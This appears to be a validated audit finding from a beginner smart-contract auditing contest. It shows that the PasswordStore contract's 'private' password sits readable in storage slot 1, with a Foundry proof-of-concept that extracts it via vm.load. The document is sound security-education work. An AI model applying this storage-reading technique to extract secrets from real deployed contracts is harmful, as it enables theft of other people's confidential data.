First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] Private variables can be accessed by anyone

Arav

Summary

The natspec reads
@notice This contract allows you to store a private password that others won't be able to see.

On the contrary,
Private variables are still visible on the blockchain and

can be accessed by anyone using its storage slot index

Vulnerability Details

Impact : High
Likelyhood: High

The owner intends to keep the password hidden.
But,anyone can use the RPC call ```getStorageAt()```
using the following parameters 1. address of the contract ```PasswordStore``` and 2. the storage slot index where the private variable is stored ```(Slot 1 in this case)```

to access the password

string private s_password; // slot 1

Foundry POC

function test_anyone_can_access_password() public {
​
// vm.load(address account, bytes32 slot)
​
bytes32 returnedValue = vm.load(address(passwordStore), bytes32(uint256(1)));
bytes32 mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00;
bytes32 passwordMasked;
​
// to remove the bytes representing the length of the password string
assembly {
passwordMasked := and(mask, returnedValue)
}
​
string memory passwordString = string(abi.encodePacked(passwordMasked));
​
// passwordString = myPassword
console.log("passwordString :", passwordString);
​
}

Impact

High

Tools Used

Manual Analysis

Recommendations

Private variables should NOT be used to store sensitive information like passwords.

Use a password manager instead

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.